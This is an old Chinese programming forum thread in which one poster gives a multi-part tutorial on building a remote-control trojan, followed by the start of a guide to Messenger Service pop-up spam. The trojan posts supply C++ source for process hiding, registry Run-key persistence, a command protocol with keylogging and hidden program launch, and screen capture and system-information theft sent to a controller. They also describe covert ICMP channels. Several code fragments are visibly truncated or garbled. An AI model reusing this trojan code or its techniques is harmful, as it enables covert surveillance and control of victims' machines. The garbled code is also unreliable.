CloseHandle(hDevice);
end;
end
else
begin // Windows 95 OSR2, Windows 98
hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil,
CREATE_NEW, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
pInData := PSendCmdInParams(@Buffer);
pOutData := @pInData^.bBuffer;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,
pInData, SizeOf(TSendCmdInParams)-1, pOutData,
W9xBufferSize, cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
end;
with PIdSector(PChar(pOutData)+16)^ do
begin
ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));
SetString(Result,sSerialNumber,SizeOf(sSerialNumber));
end;
end;
Top
9 楼nn1300(小囡)回复于 2003-09-26 12:47:24 得分 0
upupupupupupTop
10 楼answermyquestion(昨晚我做梦了)回复于 2003-09-26 12:50:41 得分 0
强啊楼主,不过不知道是否可用Top
11 楼upingking()回复于 2003-09-26 13:06:10 得分 0
upTop
12 楼b51(-)回复于 2003-09-26 13:50:30 得分 0
hei xuexi xuexiTop
13 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:24:23 得分 0
1、木马程序的分类
木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有
什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代
表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利
用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采
用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木
马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很
快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
2.木马程序的隐藏技术
木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木
马是如何实现隐藏的。
说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时
,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分
配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之
间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表
中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启
动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程
仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程
或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以
了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt
+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Wi
ndows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪
隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术
,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进
程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接
跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOu
tA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏
上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般
进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚
刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成
一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序
的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底
隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂
,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木
马进程的隐藏与检测》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
DWORD dwVersion = GetVersion(); //取得Windows的版本号
if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表
{
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //装入KERNEL32.D
LL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"Regist
erServiceProcess"); //找到RegisterServiceProcess的入口
rsp(NULL,1); //注册服务
FreeLibrary(dll); //释放DLL模块
}
}
catch (Exception &exception) //处理异常事件
{
//处理异常事件
}
return 0;
}
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径
到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法
外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或
者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,
真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersions\Run键值来实现自启动的程序:
自装载部分:
HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("\\")+PName;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}
自装载程序的卸载代码:
int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,"BackGroup")
==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);
其中自装载部分使用C++ Builder可以这样写,会比较简化:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ?Key;Top
14 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:26:23 得分 0
4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常
是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但
是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令
行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
C:\Documents and Settings\bigball>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP Liumy:echo Liumy:0 LISTENING
TCP Liumy:discard Liumy:0 LISTENING
TCP Liumy:daytime Liumy:0 LISTENING
TCP Liumy:qotd Liumy:0 LISTENING
TCP Liumy:chargen Liumy:0 LISTENING
TCP Liumy:epmap Liumy:0 LISTENING
TCP Liumy:microsoft-ds Liumy:0 LISTENING
TCP Liumy:1025 Liumy:0 LISTENING
TCP Liumy:1026 Liumy:0 LISTENING
TCP Liumy:1031 Liumy:0 LISTENING
TCP Liumy:1032 Liumy:0 LISTENING
TCP Liumy:1112 Liumy:0 LISTENING
TCP Liumy:1135 Liumy:0 LISTENING
TCP Liumy:1142 Liumy:0 LISTENING
TCP Liumy:1801 Liumy:0 LISTENING
TCP Liumy:3372 Liumy:0 LISTENING
TCP Liumy:3389 Liumy:0 LISTENING
TCP Liumy:netbios-ssn Liumy:0 LISTENING
TCP Liumy:1028 Liumy:0 LISTENING
TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
TCP Liumy:1135 202.130.239.223:http ESTABLISHED
TCP Liumy:1142 202.130.239.223:http ESTABLISHED
TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
TCP Liumy:1170 202.130.239.133:http TIME_WAIT
TCP Liumy:2103 Liumy:0 LISTENING
TCP Liumy:2105 Liumy:0 LISTENING
TCP Liumy:2107 Liumy:0 LISTENING
UDP Liumy:echo *:*
UDP Liumy:discard *:*
UDP Liumy:daytime *:*
UDP Liumy:qotd *:*
UDP Liumy:chargen *:*
UDP Liumy:epmap *:*
UDP Liumy:snmp *:*
UDP Liumy:microsoft-ds *:*
UDP Liumy:1027 *:*
UDP Liumy:1029 *:*
UDP Liumy:3527 *:*
UDP Liumy:4000 *:*
UDP Liumy:4001 *:*
UDP Liumy:1033 *:*
UDP Liumy:1148 *:*
UDP Liumy:netbios-ns *:*
UDP Liumy:netbios-dgm *:*
UDP Liumy:isakmp *:*
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并
端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起
来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马
端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而
达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)
协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很
多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,
从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网
络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,
以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木
马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包
装一些协议:
typedef struct{ //定义消息结构
//char ip[20];
char Type; //消息种类
char Password[20]; //密码
int CNum; //消息操作号
//int Length; //消息长度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
char Name[20];//对话框标题
char Msg[256];//对话框消息内容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度
//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
char ClientName[20];//Client自定义的名称
char Msg[256];//发送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度
//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件
//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目录名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定义消息结构
char SType; //消息种类
char SPassword[20]; //密码
//int SNum; //消息操作号
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram 19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp请求消息
#define MSGCopyWindow 26
//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序
的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
Top
15 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:26:47 得分 0
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗
的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的
密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它
的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一
办法来校验消息的。
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为
一个VOID类型的数据流,然后发送:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给
出事例代码:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回
传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变
部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x]
[nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分
的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传Top
16 楼FrameSniper(http://naoku.net/blogs/framesniper/)回复于 2003-09-26 14:36:55 得分 0
好,不错,继续!Top
17 楼mbl(小马)回复于 2003-09-26 14:43:21 得分 0
好,不错,继续!Top
18 楼leapmars(流铭)回复于 2003-09-26 14:49:11 得分 0
DING!Top
19 楼lincanwen(密码错误)回复于 2003-09-26 15:56:54 得分 0
不错Top
20 楼Wyi23(Wyi)回复于 2003-09-26 16:21:44 得分 0
楼主真阔气呀!不像其他小气鬼一点CODE都不让奉上.
强顶!
Top
21 楼coolfilm(苏飞工作室)回复于 2003-09-27 09:18:30 得分 0
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取
机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁
盘类型
if(type==0){
cs="未知类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驱:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="内存虚拟磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,25
5,&sno,&maxl,&fileflag,filename,100)) {
cs=String(name)+"盘卷标为:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte
,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalsp
ace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(frees
pace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="当前波形设备:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)
+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑
程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)运行Server.Exe
怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里
:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件
的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,
然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一
些文件打包程序代码,它所使用的技术是大同小异的。Top
22 楼coolfilm(苏飞工作室)回复于 2003-09-27 09:22:02 得分 0
网络“信使服务”原理及Delphi下的实现
摘 要:信使服务
关键字:信使服务
类 别:API
你是不是碰到这种情况:好好的在做某事,突然之间弹出一个对话框,请你访问某某网站。反正我碰到不少。(注:只有win2000以上的版本提供这个功能)
那么它是怎么来的(废话:肯定是别人发的咯)?我是说它是怎么做出来的,就是它的原理是什么?
其实这是win2000中提供的一项服务(依靠netapi32.dll中的api)-“信使服务”。它本来是为了在局域网中简单对话或者提示而出现的,可现在却被用在互联网上用来做广告了,而且对于一般的用户(区别于电脑高手)是没有办法拒绝的!下面是我原来帮朋友编写的一个程序部分核心代码,通过它来解释一下,并且给出如何拒绝这种服务的办法。
1.编写信使服务部分
信使服务的核心是netapi32.dll提供的“netmessagebuffersend”api函数,这里写出它的在delphi中的声明,因为在delphi中并没有给出它的object pascal声明,所以要自己在单元中声明:
function netmessagebuffersend(servername:pwidechar;
toname:pwidechar;
fromname:pwidechar;
buf: pwidechar;
var buflen:integer):integer;stdcall; external 'netapi32.dll' name 'netmessagebuffersend';
注意其中的参数都是pwidechar类型哟!而且不是普通的pcha类型,所以我们要做个简单的转化,转化的过程到是很简单,使用stringtowidechar函数即可。
现在解释一下其中的参数:
servername:服务器名,可以写你的名字,当然也可以用nil;
toname:接受方的ip地址;(注意:这里不是integer类型!)
